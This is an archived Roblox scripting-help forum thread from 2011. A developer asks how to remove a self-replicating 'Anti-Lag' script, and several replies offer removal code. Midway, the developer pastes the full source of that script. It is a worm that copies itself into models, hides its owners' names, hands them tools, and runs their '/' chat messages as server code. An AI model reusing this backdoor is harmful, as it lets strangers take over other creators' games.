generic image
Processing...
  • Games
  • Catalog
  • Develop
  • Robux
  • Search in Players
  • Search in Games
  • Search in Catalog
  • Search in Groups
  • Search in Library
  • Log In
  • Sign Up
  • Games
  • Catalog
  • Develop
  • Robux
   
ROBLOX Forum » Game Creation and Development » Scripting Helpers
Home Search
 

Re: Script Bug

Previous Thread :: Next Thread 
Robert7301201 is not online. Robert7301201
Joined: 30 Sep 2010
Total Posts: 21
02 Aug 2011 11:16 AM
Alright I got a script that keeps copying itself and it's making my place run slow. Can somebody help?
Report Abuse
obedientyankees96 is not online. obedientyankees96
Joined: 17 Jul 2010
Total Posts: 2023
02 Aug 2011 11:17 AM
What is the script?
Report Abuse
swimguy777 is not online. swimguy777
Joined: 30 May 2009
Total Posts: 17092
02 Aug 2011 11:17 AM
Delete it. Ya got yourself a virus.
Report Abuse
Seranok is online. Seranok
Joined: 12 Dec 2009
Total Posts: 11083
02 Aug 2011 11:18 AM
1. Press the little || (pause) button.
2. Find what the script is called and type this in teh command bar

while Workspace:FindFirstChild("ScriptNameHere", true) do
Workspace:FindFirstChild("ScriptNameHere", true):Remove()
end
Report Abuse
TheNewFissy is not online. TheNewFissy
Joined: 03 Jan 2011
Total Posts: 1301
02 Aug 2011 11:18 AM
VirusName = "PUT_NAME_OF_CLONEING_SCRIPT_HERE"

function Get(a)
for i = 1,#a:GetChildren() do
Get(a:GetChildren()[i])
end
if a.Name == VirusName then
table.insert(Vir,a)
end
end

Vir = {}
Get(workspace)

for i= 1,#Vir do
Vir[i]:Remove()
end
Report Abuse
Seranok is online. Seranok
Joined: 12 Dec 2009
Total Posts: 11083
02 Aug 2011 11:20 AM
^ Way too many extra lines of script, not near as efficient as mine
Report Abuse
swimguy777 is not online. swimguy777
Joined: 30 May 2009
Total Posts: 17092
02 Aug 2011 11:24 AM
@seranok

But what if the script is in things other than workspace? Like a model, or a part or something?
Report Abuse
TheNewFissy is not online. TheNewFissy
Joined: 03 Jan 2011
Total Posts: 1301
02 Aug 2011 11:24 AM
Your script wont check for descendents. What happens if the virus' parent isn't workspace?

What happens if the virus is in workspace.Part.Script?
Report Abuse
Seranok is online. Seranok
Joined: 12 Dec 2009
Total Posts: 11083
02 Aug 2011 11:28 AM
-_-

FindFirstChild(string, optional bool parameter)

The bool parameter checks recursively through all children. That's why there is a second parameter.
Report Abuse
TheNewFissy is not online. TheNewFissy
Joined: 03 Jan 2011
Total Posts: 1301
02 Aug 2011 11:30 AM
What happens if the virus is in:

workspace.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.Script
Report Abuse
Seranok is online. Seranok
Joined: 12 Dec 2009
Total Posts: 11083
02 Aug 2011 11:31 AM
It will find and delete it.
Report Abuse
Robert7301201 is not online. Robert7301201
Joined: 30 Sep 2010
Total Posts: 21
05 Aug 2011 05:22 PM
I tried the command bar trick and it didn't work. I can delete all the scripts but they come back the script is called Anti-Lag and this what it says.

Altitude = script:clone()
calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate > hatr then
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == "Part" then
local fh = fj[off]:FindFirstChild("Anti-Lag")
if fh ~= nil then
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local hup = Instance.new("Message")
hup.Text = "Detected"
hup.Parent = quen.Parent
local con = Instance.new("Script")
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new("HopperBin")
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1, zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild("Anti-Lag")
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == "Model" then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
end
function Player(player)
player.Changed:connect(function (property)
if property == "Character" then
laber(player)
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == "/" then
local dsting = Instance.new("Script")
dsting.Source = string.sub(msg,2)
dsting.Parent = game.Workspace
end
end
end
Report Abuse
Robert7301201 is not online. Robert7301201
Joined: 30 Sep 2010
Total Posts: 21
10 Aug 2011 08:00 AM
I will just reset my place.
Report Abuse
nate890 is not online. nate890
Joined: 22 Nov 2008
Total Posts: 21686
10 Aug 2011 08:07 AM
Lol, probably a virus.

<'eof' expected near 'end' on line 9001>
Report Abuse
nate890 is not online. nate890
Joined: 22 Nov 2008
Total Posts: 21686
10 Aug 2011 08:08 AM
Weird, I had the same virus in my place, and I do not even think I inserted any free models.

<'eof' expected near 'end' on line 9001>
Report Abuse
LCPLgeek is not online. LCPLgeek
Joined: 28 Dec 2009
Total Posts: 2770
10 Aug 2011 08:17 AM
hey man, don't reset your place! I wrote code for a anti virus program that gets rid of those, you just put in workspace, and it erases them. It puts them into lighting, where they stop functioning. http://www.roblox.com/Adware-2010-Beta-item?id=36581539

and no, it is not a scam.
Report Abuse
LCPLgeek is not online. LCPLgeek
Joined: 28 Dec 2009
Total Posts: 2770
10 Aug 2011 08:17 AM
actually, if you look closely at the code of roblox's models, you'll notice they're loading random assets, so they're corrupt also. I tried contacting them, no response.
Report Abuse
Robert7301201 is not online. Robert7301201
Joined: 30 Sep 2010
Total Posts: 21
16 Aug 2011 09:47 AM
I tried the Script that puts them in the lighting but now my place runs slow and it ruined one of my models.
Report Abuse
LCPLgeek is not online. LCPLgeek
Joined: 28 Dec 2009
Total Posts: 2770
16 Aug 2011 11:40 PM
hmmn, how bad is the virus? Like, is it in every part, or some of them?
Report Abuse
Robert7301201 is not online. Robert7301201
Joined: 30 Sep 2010
Total Posts: 21
17 Aug 2011 04:44 PM
The virus is gone but I'm keeping the script incase it comes back.
Report Abuse
Previous Thread :: Next Thread 
Page 1 of 1
 
 
ROBLOX Forum » Game Creation and Development » Scripting Helpers
   
 
   
  • About Us
  • Jobs
  • Blog
  • Parents
  • Help
  • Terms
  • Privacy

©2017 Roblox Corporation. Roblox, the Roblox logo, Robux, Bloxy, and Powering Imagination are among our registered and unregistered trademarks in the U.S. and other countries.



Progress
Starting Roblox...
Connecting to Players...
R R

Roblox is now loading. Get ready to play!

R R

You're moments away from getting into the game!

Click here for help

Check Remember my choice and click Launch Application in the dialog box above to join games faster in the future!

Gameplay sponsored by:
Loading 0% - Starting game...
Get more with Builders Club! Join Builders Club
Choose Your Avatar
I have an account
generic image